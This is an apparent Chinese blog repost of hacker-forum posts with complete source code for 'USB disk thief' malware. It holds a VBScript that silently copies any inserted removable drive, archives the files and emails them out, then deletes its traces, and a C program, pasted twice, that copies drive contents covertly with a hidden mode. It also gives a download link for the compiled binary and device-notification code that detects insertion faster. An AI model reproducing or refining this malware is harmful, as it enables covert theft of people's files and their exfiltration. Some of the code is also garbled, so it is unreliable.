分别用vbs,C++写U盘大盗源代码

https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=55182

2b007 朋友写的VBS版本:

前几天在网上流浪 发现了一个东东——U盘大盗
看看他的说明:原理很简单就是每隔一段时间 探测有没有 新的设备然后……
直觉告诉我用vbs可能更简单
---------------------------------------------------------------------------------------------------------
on error resume next
Dim fso, d, dc, s, f, f1,fp, fc,strMfrom,strMto,strMfpass,sfile
Dim WshShell,oShell,strcmdpath
Set oShell = WScript.CreateObject ("WSCript.shell")
Set fso = CreateObject("Scripting.FileSystemObject")
                                                
do while true                                                         'do while ……loop部分 用一个死循环实现对drives的监控
   getnewDrive
wscript.sleep 5*1000*60                  
loop                                                                                       

Function getnewDrive                                            ' 检测有没有新的drive?
        Set dc = fso.Drives
   For Each d in dc
wscript.echo d.dirvename
             If d.DriveType >2  and d.IsReady=true Then    '检查drivetype的属性和准备情况    fp=fso.CreateFolder("c:/New")     '创建一个新的文件夹 以方便把U盘的文件拷过来
fppth=fp.path   

         copyfiletotemp(d)                       
            End If
        Next
  End Function

Function copyfiletotemp(folderspec)                                
                                                     
   Set f = fso.GetFolder(folderspec)     
   Set fc = f.SubFolders                                                       
   set fs = f.files
   For Each f1 in fc             '得到所有文件夹  
   f1.copy(fppth)
   Next
   for each f1 in fs             ' 得到所有文件
   f1.copy(fppth)
   next


oShell.run "cmd /K CD C://Program Files//WinRAR/ &rar.exe a c:/ufiles.rar c:/new/  -- ",0 '压缩一下


sfile="c:/upfiles.rar"
sendfiletome strMfrom,strMto,strMfpass,sfile
End Function
function sendfiletome(strMfrom,strMto,strMfpass,sfile)
dim uname,file,lenth,len2,smtpser
lenth=InStrRev(strMfrom,"@")
uname=left(strMfrom,lenth-1)
len2=len(strMfrom)-lenth
smtpser="smtp."&right(strMfrom,len2)
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = strMfrom
Email.To = strMto
Email.Subject = "送资料来了,大哥"
Email.Textbody = "大哥,我很累.哦 我想喝瓶汽水"
if (sfile=nul) then
Email.AddAttachment sfile,true '双引号内添加附件,如果有多个就另写一行
end if
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = smtpser '发信服务器
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = uname'发信人的姓名
.Item(NameSpace&"sendpassword") = strMfpass     '发信邮箱密码
.Update
End With
Email.Send
oshell.reu "del c:/new/&del"&sfile '打扫痕迹
Set oShell = Nothing               '释放对象
end function


tips:

drivetype:
      0: "Unknown"
      1: "Removable"
      2: "Fixed"
      3: "Network"
      4: "CD-ROM"
      5: "RAM Disk"


U盘大盗DIY
作者:lake2  来源:lake2的专栏  发布时间:2005-9-30 8:10:01  发布人:noangel

看某期《黑客防线》上有介绍编写“U盘小偷”这个盗取U盘内所有文件的程序的文章,反正也没事做,自己也写了一个。文中是用VC++加MFC写的,我用C、API来写,而且名字叫“U盘大盗”,不然怎么会叫DIY呢^_^
原理很简单,就是每隔一段时间探测驱动器,发现可移动盘就把里面的内容copy到机器上。几下子就搞定。代码如下,有关函数的可参考MSDN、CSDN搜索(还多亏了它呢)。
#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];
/*
看好啦,偷东西咯~
*/
void Copy( char* FileName )

{

      char dir2[260];
       strcpy( dir2 , dir );

      //从全路径提取出文件名

       char* temp = strchr(FileName,'//');
       temp++;

       strcat(dir2 , temp );

       CopyFile( FileName , dir2 , 1 );
}

void CreateDir( char * path )

{

       char temp2[260];strcpy( temp2 , dir );

       char* temp = strchr( path , '//');

       temp++;

       strcat(temp2 , temp );

       mkdir( temp2 );
}

/*

这个函数就是遍历目录得到文件

*/

void GetFile( char* FilePath )

{

       char temp[260],temp1[260];

       strcpy( temp ,FilePath );

       WIN32_FIND_DATA FindFileData;

       HANDLE hFind;

       strcat( temp , "*");

       //printf("%s",temp);

       hFind = FindFirstFile( temp , &FindFileData );
       //printf("%s/n",FindFileData.cFileName );

       if ( hFind == INVALID_HANDLE_VALUE )

       {

              //printf ("Invalid File Handle. GetLastError reports %d/n", GetLastError ());

              //exit(0);

       }

       else

       {   

              //printf("%s",temp1);          

                     do

                     {

                            strcpy( temp1 , FilePath );

                            strcat( temp1 , FindFileData.cFileName );

                            if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)

                            {

                                   if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )

                                   {

                                                 strcat( temp1 , "//" );

                                                 CreateDir( temp1 );

                                                 GetFile( temp1 );

                                   }

                                   else

                                   {

                                          //printf("%s/n",temp1 );

                                          Copy( temp1 );

                                   }                 

                            }

                     }while( FindNextFile( hFind,&FindFileData ) );

       }

       FindClose(hFind);
}

/*

这个函数检测是否为可移动磁盘

*/

int CheckDisk(char *disk)

{

       if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;

       return -1;
}

int Steal()

{

       char buf[10];

       DWORD lod=GetLogicalDrives();

/*

GetLogicalDrives 返回的是一个32位整数,将他转换成二进制后,最高位表示驱动器A: 依次类推

比如,10111000000000000000000000000000

表示这台机器有驱动器 a,c,d,e

*/

       if (lod!=0)

       {

       for (int i=0;i<26;i++)

              {

                     if ((lod & 1)==1)

                     {

                            sprintf(buf,"%c",'A'+i);

                            strcat(buf,"://");

                            if(!CheckDisk(buf))

                            {

                                   //现在判断驱动是否准备就绪~

                                   if(GetVolumeInformation(buf,0,0,0,0,0,0,0))

                                   {

                                        

                                          GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                                          //GetFile("j://a//");

                                   }

                                        

                            }

                     }

                     lod=lod>>1;

              }

}

       return 0;

}

int main(int argc, char* argv[])

{

              SYSTEMTIME st;

              char dtime[20],temp[10];

              GetLocalTime( &st );

              itoa( st.wYear ,temp , 10 );

              strcpy( dtime , temp );

              itoa( st.wMonth ,temp , 10 );

              strcat( dtime , temp );

              itoa( st.wDay ,temp , 10 );

              strcat( dtime , temp );

              mkdir( dtime );

              getcwd( dir , 260 );

              strcat( dir , "//");

              strcat( dir , dtime );

              strcat( dir , "//" );

       if(argc!=2)

       {

              printf("/n Flash-Thief 1.0 by lake2 ( http://lake2.126.com )  /n");

              printf("Date: /t2005-5-28/n");

              printf("You can quit this program with Ctrl + C /nand you can run it in hide mode with /'-hide/'  /n");

              printf("It's nothing with me whatever you do ! /n");

              printf("Running......./n");

              while(1)

              {

                     Steal();

                     Sleep(30000);

              }

       }

       else

       {

              if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! /n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}

              else

                     printf("Parameter %s is invalid",argv[1]);

       }

       return 0;

}
程序是命令行下的,加参数“-hide”可以后台运行;运行后会在当前目录生成当前日期的文件夹,盗取的东东都放在里面。程序有个小问题,就是当可移动设备是个移动硬盘的时候,呵呵,恐怕你的硬盘要很大才行哦。这个问题不想改了。
VS.net + XP SP1 编译通过,编译好的程序这里可以下http://www.0x54.org/lake2/program/flash-thief.exe


U盘大盗DIY
作者:lake2  来源:lake2的专栏  发布时间:2005-9-30 8:10:01  发布人:noangel

减小字体 增大字体

【收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao】
看某期《黑客防线》上有介绍编写“U盘小偷”这个盗取U盘内所有文件的程序的文章,反正也没事做,自己也写了一个。文中是用VC++加MFC写的,我用C、API来写,而且名字叫“U盘大盗”,不然怎么会叫DIY呢^_^
原理很简单,就是每隔一段时间探测驱动器,发现可移动盘就把里面的内容copy到机器上。几下子就搞定。代码如下,有关函数的可参考MSDN、CSDN搜索(还多亏了它呢)。
#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];
/*
看好啦,偷东西咯~
*/
void Copy( char* FileName )

{

      char dir2[260];
       strcpy( dir2 , dir );

      //从全路径提取出文件名

       char* temp = strchr(FileName,'//');
       temp++;

       strcat(dir2 , temp );

       CopyFile( FileName , dir2 , 1 );
}

void CreateDir( char * path )

{

       char temp2[260];strcpy( temp2 , dir );

       char* temp = strchr( path , '//');

       temp++;

       strcat(temp2 , temp );

       mkdir( temp2 );
}

/*

这个函数就是遍历目录得到文件

*/

void GetFile( char* FilePath )

{

       char temp[260],temp1[260];

       strcpy( temp ,FilePath );

       WIN32_FIND_DATA FindFileData;

       HANDLE hFind;

       strcat( temp , "*");

       //printf("%s",temp);

       hFind = FindFirstFile( temp , &FindFileData );
       //printf("%s/n",FindFileData.cFileName );

       if ( hFind == INVALID_HANDLE_VALUE )

       {

              //printf ("Invalid File Handle. GetLastError reports %d/n", GetLastError ());

              //exit(0);

       }

       else

       {   

              //printf("%s",temp1);          

                     do

                     {

                            strcpy( temp1 , FilePath );

                            strcat( temp1 , FindFileData.cFileName );

                            if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)

                            {

                                   if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )

                                   {

                                                 strcat( temp1 , "//" );

                                                 CreateDir( temp1 );

                                                 GetFile( temp1 );

                                   }

                                   else

                                   {

                                          //printf("%s/n",temp1 );

                                          Copy( temp1 );

                                   }                 

                            }

                     }while( FindNextFile( hFind,&FindFileData ) );

       }

       FindClose(hFind);
}

/*

这个函数检测是否为可移动磁盘

*/

int CheckDisk(char *disk)

{

       if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;

       return -1;
}

int Steal()

{

       char buf[10];

       DWORD lod=GetLogicalDrives();

/*

GetLogicalDrives 返回的是一个32位整数,将他转换成二进制后,最高位表示驱动器A: 依次类推

比如,10111000000000000000000000000000

表示这台机器有驱动器 a,c,d,e

*/

       if (lod!=0)

       {

       for (int i=0;i<26;i++)

              {

                     if ((lod & 1)==1)

                     {

                            sprintf(buf,"%c",'A'+i);

                            strcat(buf,"://");

                            if(!CheckDisk(buf))

                            {

                                   //现在判断驱动是否准备就绪~

                                   if(GetVolumeInformation(buf,0,0,0,0,0,0,0))

                                   {

                                        

                                          GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                                          //GetFile("j://a//");

                                   }

                                        

                            }

                     }

                     lod=lod>>1;

              }

}

       return 0;

}

int main(int argc, char* argv[])

{

              SYSTEMTIME st;

              char dtime[20],temp[10];

              GetLocalTime( &st );

              itoa( st.wYear ,temp , 10 );

              strcpy( dtime , temp );

              itoa( st.wMonth ,temp , 10 );

              strcat( dtime , temp );

              itoa( st.wDay ,temp , 10 );

              strcat( dtime , temp );

              mkdir( dtime );

              getcwd( dir , 260 );

              strcat( dir , "//");

              strcat( dir , dtime );

              strcat( dir , "//" );

       if(argc!=2)

       {

              printf("/n Flash-Thief 1.0 by lake2 ( http://lake2.126.com )  /n");

              printf("Date: /t2005-5-28/n");

              printf("You can quit this program with Ctrl + C /nand you can run it in hide mode with /'-hide/'  /n");

              printf("It's nothing with me whatever you do ! /n");

              printf("Running......./n");

              while(1)

              {

                     Steal();

                     Sleep(30000);

              }

       }

       else

       {

              if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! /n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}

              else

                     printf("Parameter %s is invalid",argv[1]);

       }

       return 0;

}
程序是命令行下的,加参数“-hide”可以后台运行;运行后会在当前目录生成当前日期的文件夹,盗取的东东都放在里面。程序有个小问题,就是当可移动设备是个移动硬盘的时候,呵呵,恐怕你的硬盘要很大才行哦。这个问题不想改了。
VS.net + XP SP1 编译通过,编译好的程序这里可以下http://www.0x54.org/lake2/program/flash-thief.exe

dumplogin 朋友的改进:

U盘插入的时候,  会对每个进程广播一个消息, 捕捉这个消息再处理不是比循环判断强多了? 而且消息带的数据里面就有USB设备被分配的盘符

GUID DiskClassGuid = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};
.......
//根据 GUID 来注册Device事件的过滤
BOOL RegisterDeviceNotificationWithGuid(HWND hWnd,GUID filterguid)
{
    DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;
    HDEVNOTIFY hDevnotify;
    int len;
   
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
    memset(&NotificationFilter,0,len);

    NotificationFilter.dbcc_size = 0x20;
    NotificationFilter.dbcc_devicetype = 5;    //DBT_DEVTYP_DEVICEINTERFACE;
    NotificationFilter.dbcc_classguid = filterguid;
    //注册事件
    hDevnotify = RegisterDeviceNotification(hWnd,&NotificationFilter,DEVICE_NOTIFY_WINDOW_HANDLE);
    if(hDevnotify == NULL)   
    {
        PRINTF("RegisterDeviceNotification Failed:%d/n",GetLastError());
        return FALSE;
    }
    return TRUE;
}
....
更多请看RegisterDeviceNotification()的MSDN

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
    PDEV_BROADCAST_VOLUME PdevVolume;
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;
   
    switch(uMsg)
    {
        //接收到某个事件
        case    WM_DEVICECHANGE:
            switch(wParam)
            {
                case DBT_DEVICEARRIVAL:
                    PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE) lParam;
                    switch(PdevDEVICEINTERFACE->dbcc_devicetype)
                    {
                        //这个事件表示某个USB设备已经插入
                        case DBT_DEVTYP_DEVICEINTERFACE:
                            PRINTF("[+] A new Device Arrived/n");
                            PRINTF("[+] dbcc_name:%s/n",PdevDEVICEINTERFACE->dbcc_name);                                //dbcc_name里就有driver_name
                            break;
                        //系统为其分配到的盘符
                        case DBT_DEVTYP_VOLUME:
                            PdevVolume = (PDEV_BROADCAST_VOLUME) lParam;
                            PRINTF("/t/tdbcv_unitmask:0x%.8x/n",PdevVolume->dbcv_unitmask);
                    }
                    break;
            }
            break;
    }
    return TRUE;
}

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

紫郢剑侠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值